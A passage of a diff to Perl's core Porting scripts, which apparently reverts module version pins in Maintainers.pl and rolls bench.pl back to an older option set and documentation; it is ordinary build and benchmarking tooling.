-744,7 +734,7 @@ package Maintainers; }, 'Math::BigInt::FastCalc' => { - 'DISTRIBUTION' => 'PJACKLAM/Math-BigInt-FastCalc-0.5006.tar.gz', + 'DISTRIBUTION' => 'PJACKLAM/Math-BigInt-FastCalc-0.5005.tar.gz', 'FILES' => q[cpan/Math-BigInt-FastCalc], 'EXCLUDED' => [ qr{^t/author-}, @@ -768,7 +758,7 @@ package Maintainers; }, 'Math::BigRat' => { - 'DISTRIBUTION' => 'PJACKLAM/Math-BigRat-0.2613.tar.gz', + 'DISTRIBUTION' => 'PJACKLAM/Math-BigRat-0.2611.tar.gz', 'FILES' => q[cpan/Math-BigRat], 'EXCLUDED' => [ qr{^t/author-}, @@ -812,7 +802,7 @@ package Maintainers; }, 'Module::CoreList' => { - 'DISTRIBUTION' => 'BINGOS/Module-CoreList-5.20180420.tar.gz', + 'DISTRIBUTION' => 'BINGOS/Module-CoreList-5.20170420.tar.gz', 'FILES' => q[dist/Module-CoreList], }, @@ -843,7 +833,7 @@ package Maintainers; }, 'Net::Ping' => { - 'DISTRIBUTION' => 'RURBAN/Net-Ping-2.61.tar.gz', + 'DISTRIBUTION' => 'RURBAN/Net-Ping-2.55.tar.gz', 'FILES' => q[dist/Net-Ping], 'EXCLUDED' => [ qw(README.md.PL), @@ -852,9 +842,7 @@ package Maintainers; qw(t/601_pod-coverage.t), ], 'CUSTOMIZED' => [ - qw( t/000_load.t - t/001_new.t - t/500_ping_icmp.t), + qw( t/000_load.t t/001_new.t t/010_pingecho.t t/500_ping_icmp.t), ], }, @@ -863,7 +851,6 @@ package Maintainers; 'DISTRIBUTION' => 'NEILB/NEXT-0.67.tar.gz', 'FILES' => q[cpan/NEXT], 'EXCLUDED' => [qr{^demo/}], - 'CUSTOMIZED' => [ qw(lib/NEXT.pm t/next.t) ], }, 'Params::Check' => { @@ -880,7 +867,7 @@ package Maintainers; }, 'PathTools' => { - 'DISTRIBUTION' => 'XSAWYERX/PathTools-3.74.tar.gz', + 'DISTRIBUTION' => 'RJBS/PathTools-3.62.tar.gz', 'FILES' => q[dist/PathTools], 'EXCLUDED' => [ qr{^t/lib/Test/}, @@ -903,8 +890,6 @@ package Maintainers; t/00-compile.t), qr{^xt/}, ], - - 'CUSTOMIZED' => [ qw[ lib/perlfaq5.pod lib/perlfaq8.pod ] ], }, 'PerlIO::via::QuotedPrint' => { @@ -950,15 +935,10 @@ package Maintainers; # https://rt.cpan.org/Ticket/Display.html?id=116827 't/02_module_pod_output.t' ], - - 'CUSTOMIZED' => [ - # [rt.cpan.org #88204], [rt.cpan.org #120229] - 'lib/Pod/Perldoc.pm', - ], }, 'Pod::Simple' => { - 'DISTRIBUTION' => 'KHW/Pod-Simple-3.35.tar.gz', + 'DISTRIBUTION' => 'MARCGREEN/Pod-Simple-3.35.tar.gz', 'FILES' => q[cpan/Pod-Simple], }, @@ -968,7 +948,7 @@ package Maintainers; }, 'podlators' => { - 'DISTRIBUTION' => 'RRA/podlators-4.10.tar.gz', + 'DISTRIBUTION' => 'RRA/podlators-4.09.tar.gz', 'FILES' => q[cpan/podlators pod/perlpodstyle.pod], 'EXCLUDED' => [ qr{^docs/metadata/}, @@ -979,8 +959,6 @@ package Maintainers; # this file lives outside the cpan/ directory 'pod/perlpodstyle.pod' => 'pod/perlpodstyle.pod', }, - - 'CUSTOMIZED' => [ qw[ pod/perlpodstyle.pod ] ], }, 'Safe' => { @@ -988,9 +966,18 @@ package Maintainers; 'FILES' => q[dist/Safe], }, - 'Scalar::Util' => { - 'DISTRIBUTION' => 'PEVANS/Scalar-List-Utils-1.50.tar.gz', + 'Scalar-List-Utils' => { + 'DISTRIBUTION' => 'PEVANS/Scalar-List-Utils-1.46.tar.gz', 'FILES' => q[cpan/Scalar-List-Utils], + 'CUSTOMIZED' => [ + 'lib/List/Util.pm', # CPAN RT 118470 + 'lib/List/Util/XS.pm', # CPAN RT 118470 + 'lib/Scalar/Util.pm', # CPAN RT 118470 + 'lib/Sub/Util.pm', # CPAN RT 118470 + 't/lln.t', # CPAN RT 118470 + 't/uniq.t', # CPAN RT 118470 + 't/tainted.t', # CPAN RT 119169 + ], }, 'Search::Dict' => { @@ -999,14 +986,19 @@ package Maintainers; }, 'SelfLoader' => { - 'DISTRIBUTION' => 'SMUELLER/SelfLoader-1.24.tar.gz', + 'DISTRIBUTION' => 'SMUELLER/SelfLoader-1.20.tar.gz', 'FILES' => q[dist/SelfLoader], 'EXCLUDED' => ['t/00pod.t'], }, 'Socket' => { - 'DISTRIBUTION' => 'PEVANS/Socket-2.027.tar.gz', + 'DISTRIBUTION' => 'PEVANS/Socket-2.020.tar.gz', 'FILES' => q[cpan/Socket], + + # https://rt.cpan.org/Ticket/Display.html?id=106797 + # https://rt.cpan.org/Ticket/Display.html?id=107058 + # https://rt.cpan.org/Ticket/Display.html?id=111707 + 'CUSTOMIZED' => [ qw[ Socket.pm Socket.xs ] ], }, 'Storable' => { @@ -1070,7 +1062,7 @@ package Maintainers; }, 'Test::Harness' => { - 'DISTRIBUTION' => 'LEONT/Test-Harness-3.42.tar.gz', + 'DISTRIBUTION' => 'LEONT/Test-Harness-3.38.tar.gz', 'FILES' => q[cpan/Test-Harness], 'EXCLUDED' => [ qr{^examples/}, @@ -1086,17 +1078,22 @@ package Maintainers; }, 'Test::Simple' => { - 'DISTRIBUTION' => 'EXODIST/Test-Simple-1.302133.tar.gz', + 'DISTRIBUTION' => 'EXODIST/Test-Simple-1.302073.tar.gz', 'FILES' => q[cpan/Test-Simple], 'EXCLUDED' => [ qr{^examples/}, qr{^xt/}, qw( appveyor.yml + perltidyrc t/00compile.t t/00-report.t t/zzz-check-breaks.t ), ], + 'CUSTOMIZED' => [ + # + qw( t/Test2/modules/IPC/Driver/Files.t ) + ], }, 'Text::Abbrev' => { @@ -1164,7 +1161,7 @@ package Maintainers; }, 'threads' => { - 'DISTRIBUTION' => 'JDHEDDEN/threads-2.21.tar.gz', + 'DISTRIBUTION' => 'JDHEDDEN/threads-2.15.tar.gz', 'FILES' => q[dist/threads], 'EXCLUDED' => [ qr{^examples/}, @@ -1176,7 +1173,7 @@ package Maintainers; }, 'threads::shared' => { - 'DISTRIBUTION' => 'JDHEDDEN/threads-shared-1.58.tar.gz', + 'DISTRIBUTION' => 'JDHEDDEN/threads-shared-1.55.tar.gz', 'FILES' => q[dist/threads-shared], 'EXCLUDED' => [ qw( examples/class.pl @@ -1198,7 +1195,7 @@ package Maintainers; }, 'Time::HiRes' => { - 'DISTRIBUTION' => 'JHI/Time-HiRes-1.9759.tar.gz', + 'DISTRIBUTION' => 'JHI/Time-HiRes-1.9741.tar.gz', 'FILES' => q[dist/Time-HiRes], }, @@ -1217,13 +1214,12 @@ package Maintainers; }, 'Time::Piece' => { - 'DISTRIBUTION' => 'ESAYM/Time-Piece-1.3204.tar.gz', + 'DISTRIBUTION' => 'ESAYM/Time-Piece-1.31.tar.gz', 'FILES' => q[cpan/Time-Piece], - 'EXCLUDED' => [ qw[reverse_deps.txt] ], }, 'Unicode::Collate' => { - 'DISTRIBUTION' => 'SADAHIRO/Unicode-Collate-1.25.tar.gz', + 'DISTRIBUTION' => 'SADAHIRO/Unicode-Collate-1.19.tar.gz', 'FILES' => q[cpan/Unicode-Collate], 'EXCLUDED' => [ qr{N$}, @@ -1249,7 +1245,7 @@ package Maintainers; }, 'version' => { - 'DISTRIBUTION' => 'JPEACOCK/version-0.9918.tar.gz', + 'DISTRIBUTION' => 'JPEACOCK/version-0.9917.tar.gz', 'FILES' => q[cpan/version vutil.c vutil.h vxs.inc], 'EXCLUDED' => [ qr{^vutil/lib/}, @@ -1266,7 +1262,6 @@ package Maintainers; # only necessary with the CPAN release. 'CUSTOMIZED' => [ qw( lib/version.pm - vxs.inc ), ], diff --git a/Porting/Maintainers.pm b/Porting/Maintainers.pm index 20ed4f705556..1c52829f3295 100644 --- a/Porting/Maintainers.pm +++ b/Porting/Maintainers.pm @@ -13,15 +13,16 @@ use lib "Porting"; use 5.008; require "Maintainers.pl"; -our (%Modules, %Maintainers); +use vars qw(%Modules %Maintainers); -our @ISA = qw(Exporter); -our @EXPORT_OK = qw(%Modules %Maintainers +use vars qw(@ISA @EXPORT_OK $VERSION); +@ISA = qw(Exporter); +@EXPORT_OK = qw(%Modules %Maintainers get_module_files get_module_pat show_results process_options files_to_modules finish_tap_output reload_manifest); -our $VERSION = 0.13; +$VERSION = 0.12; require Exporter; diff --git a/Porting/README.pod b/Porting/README.pod index 110e9f0df61d..bb047eb6e864 100644 --- a/Porting/README.pod +++ b/Porting/README.pod @@ -258,10 +258,6 @@ This library provides functions used in checking and sorting the F. This script sorts the files in F. -=head2 F - -This script regenerates F and F. - =head2 F This script automates the process for creating perldelta.pl. diff --git a/Porting/acknowledgements.pl b/Porting/acknowledgements.pl index f04dac5614c9..2d1356489e38 100644 --- a/Porting/acknowledgements.pl +++ b/Porting/acknowledgements.pl @@ -25,7 +25,7 @@ =head1 DESCRIPTION use Time::Piece; use Time::Seconds; use version; -$Text::Wrap::columns = 77; +$Text::Wrap::columns = 80; my $since_until = shift; @@ -57,7 +57,7 @@ =head1 DESCRIPTION were approximately $formatted_code_changes lines of changes to $formatted_code_files .pm, .t, .c and .h files. -Perl continues to flourish into its fourth decade thanks to a vibrant +Perl continues to flourish into its third decade thanks to a vibrant community of users and developers. The following people are known to have contributed the improvements that became Perl $next_version: diff --git a/Porting/bench.pl b/Porting/bench.pl index 6087dca13886..efff214e7a42 100755 --- a/Porting/bench.pl +++ b/Porting/bench.pl @@ -14,21 +14,24 @@ =head1 SYNOPSIS # Basic: run the tests in t/perf/benchmarks against two or # more perls - bench.pl [options] perlA[=labelA] perlB[=labelB] ... + bench.pl [options] -- perlA[=labelA] perlB[=labelB] ... - # run the tests against the same perl twice, with varying options + # run the tests against same perlA 2x, with and without extra + # options - bench.pl [options] perlA=bigint --args='-Mbigint' perlA=plain + bench.pl [options] -- perlA=fast PerlA=slow -Mstrict -Dpsltoc - # Run bench on blead, saving results to file; then modify the blead - # binary, and benchmark again, comparing against the saved results + # Run bench.pl's own built-in sanity tests - bench.pl [options] --write=blead.time ./perl=blead - # ... hack hack hack, updating ./perl ... - bench.pl --read=blead.time ./perl=hacked + bench.pl --action=selftest - # You can also combine --read with --write and new benchmark runs + # Run bench on blead, which is then modified and timed again + bench.pl [options] --write=blead.time -- ./perl=blead + # hack hack hack + bench.pl --read=blead.time -- ./perl=hacked + + # You can also combine --read with --write bench.pl --read=blead.time --write=last.time -- ./perl=hacked =head1 DESCRIPTION @@ -36,9 +39,8 @@ =head1 DESCRIPTION By default, F will run code snippets found in F (or similar) under cachegrind, in order to calculate how many instruction reads, data writes, branches, cache misses, etc. that -one execution of the snippet uses. Usually it will run them against two or -more perl executables and show how much each test has gotten better or -worse. +one execution of the snippet uses. It will run them against two or more +perl executables and show how much each test has gotten better or worse. It is modelled on the F tool, but since it measures instruction reads etc., rather than timings, it is much more precise and reproducible. @@ -51,40 +53,15 @@ =head1 DESCRIPTION This means that you can view the same run data in different views with different selection and sort options. You can also use this mechanism to save the results of timing one perl, and then read it back while timing -a modification, so that you don't have rerun the same tests on the same -perl over and over, or have two perl executables built at the same time. +a modification, so that you dont have rerun the same tests on the same +perl over and over, or have two perls built at the same time. The optional C<=label> after each perl executable is used in the display output. If you are doing a two step benchmark then you should provide -a label for at least the "base" perl. If a label isn't specified, it -defaults to the name of the perl executable. Labels must be unique across -all current executables, plus any previous ones obtained via --read. - -In its most general form, the specification of a perl executable is: - - path/perl=+mylabel --args='-foo -bar' --args='-baz' \ - --env='A=a' --env='B=b' - -This defines how to run the executable F. It has a label, -which due to the C<+>, is appended to the binary name to give a label of -C (without the C<+>, the label would be just -C). - -It can be optionally followed by one or more C<--args> or C<--env> -switches, which specify extra command line arguments or environment -variables to use when invoking that executable. Each C<--env> switch -should be of the form C<--env=VARIABLE=value>. Any C<--arg> values are -concatenated to the eventual command line, along with the global -C<--perlargs> value if any. The above would cause a system() call looking -something like: - - PERL_HASH_SEED=0 A=a B=b valgrind --tool=cachegrind \ - path/perl -foo -bar -baz .... +a label for at least the "base" perl. =head1 OPTIONS -=head2 General options - =over 4 =item * @@ -97,114 +74,131 @@ =head2 General options =item * ---debug +--average -Enable debugging output. +Only display the overall average, rather than the results for each +individual test. =item * ----help +--benchfile=I -Display basic usage information. +The path of the file which contains the benchmarks (F +by default). =item * --v ---verbose - -Display progress information. +--bisect=I -=back +Run a single test against one perl and exit with a zero status if the +named field is in the specified range; exit 1 otherwise. It will complain +if more than one test or perl has been specified. It is intended to be +called as part of a bisect run, to determine when something changed. +For example, -=head2 Test selection options + bench.pl -j 8 --tests=foo --bisect=Ir,100,105 --perlargs=-Ilib \ + ./miniperl -=over 4 +might be called from bisect to find when the number of instruction reads +for test I falls outside the range 100..105. =item * ---tests=I +--compact= -Specify a subset of tests to run (or in the case of C<--read>, to read). -It may be either a comma-separated list of test names, or a regular -expression. For example - - --tests=expr::assign::scalar_lex,expr::assign::2list_lex - --tests=/^expr::/ - - -=back +Display the results for a single perl executable in a compact form. +Which perl to display is specified in the same manner as C<--norm>. -=head2 Input options +=item * -=over 4 +--debug +Enable verbose debugging output. =item * --r I ---read=I +--fields=I -Read in saved data from a previous C<--write> run from the specified file. -If C<--tests> is present too, then only tests matching those conditions -are read from the file. +Display only the specified fields; for example, -C<--read> may be specified multiple times, in which case the results -across all files are aggregated. The list of test names from each file -(after filtering by C<--tests>) must be identical across all files. + --fields=Ir,Ir_m,Ir_mm -This list of tests is used instead of that obtained from the normal -benchmark file (or C<--benchfile>) for any benchmarks that are run. +If only one field is selected, the output is in more compact form. -The perl labels must be unique across all read in test results. +=item * -Requires C to be available. +--grindargs=I -=back +Optional command-line arguments to pass to all cachegrind invocations. -=head2 Benchmarking options +This option is appended to those which bench.pl uses for its own +purposes; so it can be used to override them (see --debug output +below), and can also be 'abused' to add redirects into the valgrind +command invocation. -Benchmarks will be run for all perls specified on the command line. -These options can be used to modify the benchmarking behavior: +For example, this writes PERL_MEM_LOG activity to foobar.$$, because +3>foobar.$$ redirects fd 3, then perl under PERL_MEM_LOG writes to fd 3. -=over 4 + $ perl Porting/bench.pl --jobs=2 --verbose --debug \ + --tests=call::sub::amp_empty \ + \ + --grindargs='--cachegrind-out-file=junk.$$ 3>foobar.$$' \ + -- \ + perl5.24.0 perl5.24.0:+memlog:PERL_MEM_LOG=3mst -=item * +for the +memlog tests, this executes as: (shown via --debug, then prettyfied) ---autolabel + Command: PERL_HASH_SEED=0 PERL_MEM_LOG=3mst + valgrind --tool=cachegrind --branch-sim=yes + --cachegrind-out-file=/dev/null --cachegrind-out-file=junk.$$ + 3>foobar.$$ perl5.24.0 - 10 2>&1 -Generate a unique label for every executable which doesn't have an -explicit C<=label>. Works by stripping out common prefixes and suffixes -from the executable names, then for any non-unique names, appending -C<-0>, C<-1>, etc. text directly surrounding the unique part which look -like version numbers (i.e. which match C) aren't stripped. -For example, +The result is that a set of junk.$$ files containing raw cachegrind +output are written, and foobar.$$ contains the expected memlog output. - perl-5.20.0-threaded perl-5.22.0-threaded perl-5.24.0-threaded +Notes: -stripped to unique parts would be: +Theres no obvious utility for those junk.$$ and foobar.$$ files, but +you can have them anyway. - 20 22 24 +The 3 in PERL_MEM_LOG=3mst is needed because the output would +otherwize go to STDERR, and cause parse_cachegrind() to reject the +test and die. -but is actually only stripped down to: +The --grindargs redirect is needed to capture the memlog output; +without it, the memlog output is written to fd3, around +parse_cachegrind and effectively into /dev/null - 5.20.0 5.22.0 5.24.0 +PERL_MEM_LOG is expensive when used. -If the final results are plain integers, they are prefixed with "p" -to avoid looking like column numbers to switches like C<--norm=2>. +call::sub::amp_empty +&foo function call with no args or body + perl5.24.0 perl5.24.0+memlog + ---------- ----------------- + Ir 394.0 543477.5 + Dr 161.0 146814.1 + Dw 72.0 122304.6 + COND 58.0 66796.4 + IND 5.0 5537.7 -=item * +COND_m 0.0 6743.1 + IND_m 5.0 1490.2 ---benchfile=I + Ir_m1 0.0 683.7 + Dr_m1 0.0 65.9 + Dw_m1 0.0 8.5 + + Ir_mm 0.0 11.6 + Dr_mm 0.0 10.6 + Dw_mm 0.0 4.7 -The path of the file which contains the benchmarks (F -by default). =item * ---grindargs=I +---help -Optional command-line arguments to pass to all cachegrind invocations. +Display basic usage information. =item * @@ -212,140 +206,82 @@ =head2 Benchmarking options --jobs=I Run I jobs in parallel (default 1). This determines how many cachegrind -process will run at a time, and should generally be set to the number +process will running at a time, and should generally be set to the number of CPUs available. =item * ---perlargs=I - -Optional command-line arguments to pass to every perl executable. This -may optionaly be combined with C<--args> switches following individual -perls. For example: - - bench.pl --perlargs='-Ilib -It/lib' .... \ - perlA --args='-Mstrict' \ - perlB --args='-Mwarnings' - -would cause the invocations - - perlA -Ilib -It/lib -Mstrict - perlB -Ilib -It/lib -Mwarnings - -=back - -=head2 Output options - -Any results accumulated via --read or by running benchmarks can be output -in any or all of these three ways: - -=over 4 - -=item * - --w I ---write=I - -Save the raw data to the specified file. It can be read back later with -C<--read>. If combined with C<--read> then the output file will be -the merge of the file read and any additional perls added on the command -line. +--norm=I -Requires C to be available. +Specify which perl column in the output to treat as the 100% norm. +It may be a column number (0..N-1) or a perl executable name or label. +It defaults to the leftmost column. =item * ---bisect=I - -Exit with a zero status if the named field is in the specified range; -exit with 1 otherwise. It will complain if more than one test or perl has -been specified. It is intended to be called as part of a bisect run, to -determine when something changed. For example, - - bench.pl -j 8 --tests=foo --bisect=Ir,100,105 --perlargs=-Ilib \ - ./miniperl +--perlargs=I -might be called from bisect to find when the number of instruction reads -for test I falls outside the range 100..105. +Optional command-line arguments to pass to each perl-under-test +(perlA, perlB in synopsis) For example, C<--perlargs=-Ilib>. =item * ---show - -Display the results to stdout in human-readable form. This is enabled by -default, except with --write and --bisect. The following sub-options alter -how --show behaves. +--raw -=over 4 +Display raw data counts rather than percentages in the outputs. This +allows you to see the exact number of intruction reads, branch misses etc. +for each test/perl combination. It also causes the C display +per field to be calculated based on the average of each tests's count +rather than average of each percentage. This means that tests with very +high counts will dominate. =item * ---average - -Only display the overall average, rather than the results for each -individual test. - -=item * +--sort=I ---compact=I +Order the tests in the output based on the value of I in the +column I. The I value is as per C<--norm>. For example -Display the results for a single perl executable in a compact form. -Which perl to display is specified in the same manner as C<--norm>. + bench.pl --sort=Dw:perl-5.20.0 \ + perl-5.16.0 perl-5.18.0 perl-5.20.0 =item * ---fields=I - -Display only the specified fields; for example, +-r I +--read=I - --fields=Ir,Ir_m,Ir_mm +Read in saved data from a previous C<--write> run from the specified file. -If only one field is selected, the output is in more compact form. +Requires C to be available. =item * ---norm=I - -Specify which perl column in the output to treat as the 100% norm. -It may be: - -=over - -* a column number (0..N-1), - -* a negative column number (-1..-N) which counts from the right (so -1 is -the right-most column), - -* or a perl executable name, - -* or a perl executable label. +--tests=I -=back +Specify a subset of tests to run (or in the case of C<--read>, to display). +It may be either a comma-separated list of test names, or a regular +expression. For example -It defaults to the leftmost column. + --tests=expr::assign::scalar_lex,expr::assign::2list_lex + --tests=/^expr::/ =item * ---raw +--verbose -Display raw data counts rather than percentages in the outputs. This -allows you to see the exact number of intruction reads, branch misses etc. -for each test/perl combination. It also causes the C display -per field to be calculated based on the average of each tests's count -rather than average of each percentage. This means that tests with very -high counts will dominate. +Display progress information. =item * ---sort=I - -Order the tests in the output based on the value of I in the -column I. The I value is as per C<--norm>. For example +-w I +--write=I - bench.pl --sort=Dw:perl-5.20.0 \ - perl-5.16.0 perl-5.18.0 perl-5.20.0 +Save the raw data to the specified file. It can be read back later with +C<--read>. If combined with C<--read> then the output file will be +the merge of the file read and any additional perls added on the command +line. -=back +Requires C to be available. =back @@ -374,88 +310,53 @@ =head2 Output options sub usage { die < 'grind', average => 0, - benchfile => undef, + benchfile => 't/perf/benchmarks', bisect => undef, compact => undef, debug => 0, @@ -466,7 +367,7 @@ sub usage { perlargs => '', raw => 0, read => undef, - show => undef, + show => 0, sort => undef, tests => undef, verbose => 0, @@ -480,25 +381,24 @@ sub usage { GetOptions( 'action=s' => \$OPTS{action}, 'average' => \$OPTS{average}, - 'autolabel' => \$OPTS{autolabel}, 'benchfile=s' => \$OPTS{benchfile}, 'bisect=s' => \$OPTS{bisect}, 'compact=s' => \$OPTS{compact}, 'debug' => \$OPTS{debug}, 'grindargs=s' => \$OPTS{grindargs}, - 'help|h' => \$OPTS{help}, + 'help' => \$OPTS{help}, 'fields=s' => \$OPTS{fields}, 'jobs|j=i' => \$OPTS{jobs}, 'norm=s' => \$OPTS{norm}, 'perlargs=s' => \$OPTS{perlargs}, 'raw' => \$OPTS{raw}, - 'read|r=s@' => \$OPTS{read}, - 'show' => \$OPTS{show}, + 'read|r=s' => \$OPTS{read}, + 'show!' => \$OPTS{show}, 'sort=s' => \$OPTS{sort}, 'tests=s' => \$OPTS{tests}, - 'v|verbose' => \$OPTS{verbose}, + 'verbose' => \$OPTS{verbose}, 'write|w=s' => \$OPTS{write}, - ) or die "Use the -h option for usage information.\n"; + ) or usage; usage if $OPTS{help}; @@ -531,7 +431,7 @@ sub usage { . "'$OPTS{sort}'\n"; } my ($field, $perl) = @s; - die "Error: --sort: unknown field '$field'\n" + die "Error: --sort: unknown field '$field\n" unless $VALID_FIELDS{$field}; # the 'perl' value will be validated later, after we have processed # the perls @@ -539,16 +439,24 @@ sub usage { $OPTS{'sort-perl'} = $perl; } - # show is the default output action - $OPTS{show} = 1 unless $OPTS{write} || $OPTS{bisect}; + if ($OPTS{action} eq 'selftest') { + if (@ARGV) { + die "Error: no perl executables may be specified with --read\n" + } + } + elsif (defined $OPTS{bisect}) { + die "Error: exactly one perl executable must be specified for bisect\n" + unless @ARGV == 1; + die "Error: Can't specify both --bisect and --read\n" + if defined $OPTS{read}; + die "Error: Can't specify both --bisect and --write\n" + if defined $OPTS{write}; + } if ($OPTS{action} eq 'grind') { do_grind(\@ARGV); } elsif ($OPTS{action} eq 'selftest') { - if (@ARGV) { - die "Error: no perl executables may be specified with selftest\n" - } do_selftest(); } } @@ -576,18 +484,10 @@ sub filter_tests { else { my %t; for (split /,/, $opt) { + die "Error: no such test found: '$_'\n" + . ($OPTS{verbose} ? " have: @{[ sort keys %$tests ]}\n" : "") + unless exists $tests->{$_}; $t{$_} = 1; - next if exists $tests->{$_}; - - my $e = "Error: no such test found: '$_'\n"; - if ($OPTS{verbose}) { - $e .= "Valid test names are:\n"; - $e .= " $_\n" for sort keys %$tests; - } - else { - $e .= "Re-run with --verbose for a list of valid tests.\n"; - } - die $e; } for (keys %$tests) { delete $tests->{$_} unless exists $t{$_}; @@ -610,38 +510,10 @@ sub read_tests_file { $ta = do $file; } unless ($ta) { - die "Error: can't load '$file': code didn't return a true value\n" - if defined $ta; - die "Error: can't parse '$file':\n$@\n" if $@; + die "Error: can't parse '$file': $@\n" if $@; die "Error: can't read '$file': $!\n"; } - # validate and process each test - - { - my %valid = map { $_ => 1 } qw(desc setup code pre post compile); - my @tests = @$ta; - if (!@tests || @tests % 2 != 0) { - die "Error: '$file' does not contain evenly paired test names and hashes\n"; - } - while (@tests) { - my $name = shift @tests; - my $hash = shift @tests; - - unless ($name =~ /^[a-zA-Z]\w*(::\w+)*$/) { - die "Error: '$file': invalid test name: '$name'\n"; - } - - for (sort keys %$hash) { - die "Error: '$file': invalid key '$_' for test '$name'\n" - unless exists $valid{$_}; - } - - # make description default to the code - $hash->{desc} = $hash->{code} unless exists $hash->{desc}; - } - } - my @orig_order; for (my $i=0; $i < @$ta; $i += 2) { push @orig_order, $ta->[$i]; @@ -653,40 +525,23 @@ sub read_tests_file { } -# Process the perl name/label/column argument of options like --norm and -# --sort. Return the index of the matching perl. +# Process the perl/column argument of options like --norm and --sort. +# Return the index of the matching perl. sub select_a_perl { my ($perl, $perls, $who) = @_; - $perls ||= []; - my $n = @$perls; - - if ($perl =~ /^-([0-9]+)$/) { - my $p = $1; - die "Error: $who value $perl outside range -1..-$n\n" - if $p < 1 || $p > $n; - return $n - $p; - } - - if ($perl =~ /^[0-9]+$/) { + $perls||=[]; + if ($perl =~ /^[0-9]$/) { die "Error: $who value $perl outside range 0.." . $#$perls . "\n" - unless $perl < $n; + unless $perl < @$perls; return $perl; } else { my @perl = grep $perls->[$_][0] eq $perl || $perls->[$_][1] eq $perl, 0..$#$perls; - unless (@perl) { - my $valid = ''; - for (@$perls) { - $valid .= " $_->[1]"; - $valid .= " $_->[0]" if $_->[0] ne $_->[1]; - $valid .= "\n"; - } - die "Error: $who: unrecognised perl '$perl'\n" - . "Valid perl names are:\n$valid"; - } + die "Error: $who: unrecognised perl '$perl'\n" + unless @perl; die "Error: $who: ambiguous perl '$perl'\n" if @perl > 1; return $perl[0]; @@ -694,195 +549,58 @@ sub select_a_perl { } -# Validate the list of perl executables on the command line. -# The general form is -# -# a_perl_exe[=label] [ --args='perl args'] [ --env='FOO=foo' ] -# -# Return a list of [ exe, label, {env}, 'args' ] tuples - -sub process_executables_list { - my ($read_perls, @cmd_line_args) = @_; - - my @results; # returned, each item is [ perlexe, label, {env}, 'args' ] - my %seen_from_reads = map { $_->[1] => 1 } @$read_perls; - my %seen; - my @labels; - - while (@cmd_line_args) { - my $item = shift @cmd_line_args; - - if ($item =~ /^--(.*)$/) { - my ($switch, $val) = split /=/, $1, 2; - die "Error: unrecognised executable switch '--$switch'\n" - unless $switch =~ /^(args|env)$/; +# Validate the list of perl=label (+ cmdline options) on the command line. +# Return a list of [ exe, label, cmdline-options ] tuples, i.e. +# 'perl-under-test's (PUTs) - die "Error: --$switch without a preceding executable name\n" - unless @results; +sub process_puts { + my $read_perls= shift; + my @res_puts; # returned, each item is [ perlexe, label, @putargs ] + my %seen= map { $_->[1] => 1 } @$read_perls; + my @putargs; # collect not-perls into args per PUT - unless (defined $val) { - $val = shift @cmd_line_args; - die "Error: --$switch is missing value\n" - unless defined $val; - } + for my $p (reverse @_) { + push @putargs, $p and next if $p =~ /^-/; # not-perl, dont send to qx// - if ($switch eq 'args') { - $results[-1][3] .= " $val"; - } - else { - # --env - $val =~ /^(\w+)=(.*)$/ - or die "Error: --env is missing =value\n"; - $results[-1][2]{$1} = $2; - } + my ($perl, $label, $env) = split /[=:,]/, $p, 3; + $label //= $perl; + $label = $perl.$label if $label =~ /^\+/; + die "$label cannot be used on 2 different perls under test\n" if $seen{$label}++; - next; + my %env; + if ($env) { + %env = split /[=,]/, $env; } - - # whatever is left must be the name of an executable - - my ($perl, $label) = split /=/, $item, 2; - push @labels, $label; - unless ($OPTS{autolabel}) { - $label //= $perl; - $label = $perl.$label if $label =~ /^\+/; - } - - die "Error: duplicate label '$label': " - . "each executable must have a unique label\n" - if defined $label && $seen{$label}++; - - die "Error: duplicate label '$label': " - . "seen both in --read file and on command line\n" - if defined $label && $seen_from_reads{$label}; - my $r = qx($perl -e 'print qq(ok\n)' 2>&1); - die "Error: unable to execute '$perl': $r\n" if $r ne "ok\n"; - - push @results, [ $perl, $label, { }, '' ]; + if ($r eq "ok\n") { + push @res_puts, [ $perl, $label, \%env, reverse @putargs ]; + @putargs = (); + warn "Added Perl-Under-Test: [ @{[@{$res_puts[-1]}]} ]\n" + if $OPTS{verbose}; + } else { + warn "perl-under-test args: @putargs + a not-perl: $p $r\n" + if $OPTS{verbose}; + push @putargs, $p; # not-perl + } } - - # make args '' by default - for (@results) { - push @$_, '' unless @$_ > 3; - } - - if ($OPTS{autolabel}) { - - # create a list of [ 'perl-path', $i ] pairs for all - # $results[$i] which don't have a label - my @labels; - for (0..$#results) { - push @labels, [ $results[$_][0], $_ ] - unless defined $results[$_][1]; - } - - if (@labels) { - # strip off common prefixes - my $pre = ''; - STRIP_PREFIX: - while (length $labels[0][0]) { - my $c = substr($labels[0][0], 0, 1); - for my $i (1..$#labels) { - last STRIP_PREFIX if substr($labels[$i][0], 0, 1) ne $c; - } - substr($labels[$_][0], 0, 1) = '' for 0..$#labels; - $pre .= $c; - } - # add back any final "version-ish" prefix - $pre =~ s/^.*?([0-9\.]*)$/$1/; - substr($labels[$_][0], 0, 0) = $pre for 0..$#labels; - - # strip off common suffixes - my $post = ''; - STRIP_SUFFFIX: - while (length $labels[0][0]) { - my $c = substr($labels[0][0], -1, 1); - for my $i (1..$#labels) { - last STRIP_SUFFFIX if substr($labels[$i][0], -1, 1) ne $c; - } - chop $labels[$_][0] for 0..$#labels; - $post = "$c$post"; - } - # add back any initial "version-ish" suffix - $post =~ s/^([0-9\.]*).*$/$1/; - $labels[$_][0] .= $post for 0..$#labels; - - # avoid degenerate empty string for single executable name - $labels[0][0] = '0' if @labels == 1 && !length $labels[0][0]; - - # if the auto-generated labels are plain integers, prefix - # them with 'p' (for perl) to distinguish them from column - # indices (otherwise e.g. --norm=2 is ambiguous) - - if ($labels[0][0] =~ /^\d*$/) { - $labels[$_][0] = "p$labels[$_][0]" for 0..$#labels; - } - - # now de-duplicate labels - - my (%seen, %index); - $seen{$read_perls->[$_][1]}++ for 0..$#$read_perls; - $seen{$labels[$_][0]}++ for 0..$#labels; - - for my $i (0..$#labels) { - my $label = $labels[$i][0]; - next unless $seen{$label} > 1; - my $d = length($label) ? '-' : ''; - my $n = $index{$label} // 0; - $n++ while exists $seen{"$label$d$n"}; - $labels[$i][0] .= "$d$n"; - $index{$label} = $n + 1; - } - - # finally, store them - $results[$_->[1]][1]= $_->[0] for @labels; - } - } - - - return @results; + return reverse @res_puts; } -# Return a string containing a perl program which runs the benchmark code -# $ARGV[0] times. If $body is true, include the main body (setup) in -# the loop; otherwise create an empty loop with just pre and post. -# Note that an empty body is handled with '1;' so that a completely empty -# loop has a single nextstate rather than a stub op, so more closely -# matches the active loop; e.g.: -# {1;} => nextstate; unstack -# 